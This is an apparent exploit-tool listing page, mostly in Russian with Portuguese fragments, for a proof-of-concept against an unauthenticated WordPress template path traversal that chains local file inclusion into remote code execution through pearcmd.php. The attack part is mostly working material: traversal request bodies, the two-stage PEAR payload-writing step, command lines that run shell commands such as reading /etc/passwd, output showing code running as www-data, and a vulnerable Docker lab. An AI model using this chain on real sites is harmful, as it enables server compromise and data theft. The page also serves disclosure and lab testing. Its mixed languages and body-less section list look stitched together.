CVE-2026-87902 — Python PoC, эксплуатирующий CVE-2026-87902 — неаутентифицированный обход пути в WordPress locate_template(), приводящий к LFI и RCE на основе PEAR, с безопасным режимом обнаружения. | Kitploit


CVE	CVE-2026-87902 (CWE-98, CVSS 4.0 9.2 Critical / v3.1 8.1 High)
Advisory	GHSA-7hp8-65ch-5whp
Уязвимые	WordPress 4.7.0 – 7.1.1 (все ветки)
Фикс	7.1.2, 7.0.6, 6.9.9 … 4.7.37
Fix commit	`5fde0bb7b9775523959094bf280cc54bfa78af51` (merge changeset 63792)
Файлы	`wp-includes/template.php` (`get_page_template()`, `locate_template()`, `_wp_is_template_path_allowed()`)
Аутентификация	Отсутствует — ни пользователя, ни cookie, ни nonce, ни плагина
Благодарности	Обнаружение и раскрытие: Robert Ressl

// get_page_template(): decode TARDE, sem validate_file()
$pagename_decoded = urldecode( $pagename );
if ( $pagename_decoded !== $pagename ) {
    $templates[] = "page-{$pagename_decoded}.php";
}

// locate_template(): só testa existência — nenhum confinamento de caminho
if ( file_exists( $wp_stylesheet_path . '/' . $template_name ) ) {
    $located = $wp_stylesheet_path . '/' . $template_name;
    break;
}

if ( $pagename_decoded !== $pagename && 0 === validate_file( $pagename_decoded ) ) { ... }
...
if ( _wp_is_template_path_allowed( $candidate ) ) {   // realpath + confinamento
    $located = $candidate;                            // dentro de tema/parent/theme-compat
    break;
}

#	Предусловие	Причина
1	Опубликованная страница, доступная анонимно, выбираемая по `page_id` и без custom template	Запрос должен разрешаться в Page; custom template шёл бы раньше в иерархии
2	Каталог верхнего уровня в активной теме (child или parent), начинающийся с `page-` (например, `page-templates/`)	WP добавляет фиксированный префикс `page-`; именно через него входит traversal. Достаточно его существования и возможности обхода (может быть пустым). Присутствует в Twenty Twelve/Fourteen, Neve, Hestia, Sydney
3	Существующая и читаемая локальная цель `.php`	Загрузчик добавляет `.php` и проверяет `is_file()`/`is_readable()`
4	(только для RCE) читаемый `pearcmd.php` + `register_argc_argv=On` + записываемый каталог (например, `/tmp`)	Маршрут PEAR→RCE: `config-create` записывает PHP-пейлоад на сервер

Запрос	`pagename`	Ожидаемый ответ (уязвимо)
A — baseline	—	200, нормальное тело (~23 KB)
B — контроль	traversal → несуществующий файл	200, нормальное тело (fallback `page.php`)
C — проба	traversal → `wp-content/index.php` ("Silence is golden")	200 с пустым телом

Стадия 1  POST /?+config-create+/<payload>+/tmp/wp-pear-rce.php
           body: page_id=2&pagename=templates%252f...%252fusr%252flocal%252flib%252fphp%252fpearcmd
           → traversal включает /usr/local/lib/php/pearcmd.php
           → argv берётся из сырой query string (register_argc_argv=On)
           → config-create ЗАПИСЫВАЕТ пейлоад в /tmp/wp-pear-rce.php (12 сериализованных копий)

Стадия 2  POST /  body: page_id=2&pagename=templates%252f...%252ftmp%252fwp-pear-rce
           → тот же traversal включает сгенерированный файл → system(<--command>) выполняется как www-data

# 1) Только валидация уязвимости (LFI probe, без записи)
python exploit_locate_template_rce.py --url http://127.0.0.1:8080 --validate-only

# 2) Обнаружение + RCE с выполнением команды (по умолчанию: 'id')
python exploit_locate_template_rce.py --url http://127.0.0.1:8080
python exploit_locate_template_rce.py --url http://127.0.0.1:8080 --command "id"
python exploit_locate_template_rce.py --url http://127.0.0.1:8080 -c "uname -a; cat /etc/passwd"

# Полезные комбинации
python exploit_locate_template_rce.py -u https://alvo --page-id 2 --theme-dir page-templates
python exploit_locate_template_rce.py -u http://127.0.0.1:8080 -c "whoami" --depth 7 --verbose

Параметр	По умолчанию	Описание
`--url`, `-u`	(обязательно)	Базовый URL WordPress
`--command`, `-c`	`id`	Shell-команда, выполняемая на цели (игнорируется с `--validate-only`)
`--validate-only`	off	Только валидация уязвимости (LFI, останавливается до RCE/записи)
`--page-id`	auto (REST, fallback probe)	ID опубликованной страницы без custom template
`--theme-dir`	пробует `page-templates`, `page-template`	Каталог верхнего уровня темы, начинающийся с `page-`
`--probe-target`	`index`	Цель пробы обнаружения, без `.php` (`index` → `wp-content/index.php`)
`--depth`	0 (перебор 1–12)	Число сегментов `../`
`--pear-path`	пробует внутренний список	`pearcmd.php` стадии RCE, без `.php` (Docker, Debian, XAMPP)
`--output`	`/tmp/wp-pear-rce`	Записываемое назначение пейлоада PEAR, без `.php`
`--timeout`	`20`	Таймаут на запрос (с)
`--insecure`	off	Не проверять TLS-сертификат
`--verbose`	off	Подробный вывод по каждой попытке

[*] alvo          : http://127.0.0.1:8080
[*] comando       : 'id'
[*] versão WP     : 7.1.1  (<= 7.1.1 => potencialmente afetada)
[*] page id       : 2 (sample-page, via /index.php?rest_route=/wp/v2/pages...)
[*] modo          : detecção segura (wp-content/index.php, sem escrita)
[+] theme dir     : page-templates
[+] depth          : 3
[+] traversal      : page-templates/../../../index.php
[+] VULNERÁVEL     : CVE-2026-87902 (fix 5fde0bb ausente)
[*] modo          : RCE (2 estágios via pearcmd.php)
[+] theme dir     : page-templates
[+] depth          : 7
[+] pearcmd        : /usr/local/lib/php/pearcmd.php
[+] payload file   : /tmp/wp-pear-rce.php (gravado pelo PEAR no estágio 1)
[+] comando        : 'id'
[+] saída          :
    | uid=33(www-data) gid=33(www-data) groups=33(www-data)
[+] EXPLOIT BEM-SUCEDIDO — PHP executado como a conta web

services:
  db:
    image: mariadb:11
    restart: always
    environment:
      MYSQL_DATABASE: wordpress
      MYSQL_USER: wp_user
      MYSQL_PASSWORD: wp_pass
      MYSQL_ROOT_PASSWORD: root_pass
    volumes:
      - db_data:/var/lib/mysql

  wordpress:
    image: wordpress:7.1.1-php8.3-apache   # PINADA — a rolling baixa 7.1.2+ (patcheada!)
    depends_on:
      - db
    restart: always
    ports:
      - "8080:80"
    environment:
      WORDPRESS_DB_HOST: db:3306
      WORDPRESS_DB_USER: wp_user
      WORDPRESS_DB_PASSWORD: wp_pass
      WORDPRESS_DB_NAME: wordpress
    volumes:
      - wp_data:/var/www/html
      # fixture: diretório top-level "page-*" no tema (precondição #2). Pode ser vazio.
      - ./page-templates:/var/www/html/wp-content/themes/twentytwentyfive/page-templates

volumes:
  db_data:
  wp_data:

docker compose up -d

# Instalar o WordPress (wizard em http://localhost:8080 OU via wp-cli):
docker run --rm --network wordpress-exploit_default -v wordpress-exploit_wp_data:/var/www/html `
  -e WORDPRESS_DB_HOST=db:3306 -e WORDPRESS_DB_USER=wp_user -e WORDPRESS_DB_PASSWORD=wp_pass `
  -e WORDPRESS_DB_NAME=wordpress `
  wordpress:cli wp core install --url=http://localhost:8080 --title="Lab" `
  --admin_user=admin --admin_password=adminadmin [email protected] --skip-email

# Rodar
python exploit_locate_template_rce.py --url http://127.0.0.1:8080 --validate-only --verbose
python exploit_locate_template_rce.py --url http://127.0.0.1:8080 -c "id"

# Teardown
docker compose down -v

CVE-2026-87902

Популярное

1. Уязвимость

Цепочка эксплуатации (код репозитория)

Предусловия

2. Что делает скрипт

Стадия 1 — безопасное обнаружение (выполняется всегда первой)

Стадия 2 — RCE через `pearcmd.php` (запись)

3. Использование

Параметры

Ожидаемый вывод в лаборатории

4. Лаборатория (Docker)

5. Ограничения и заметка для защитников

6. Ссылки

Правовая оговорка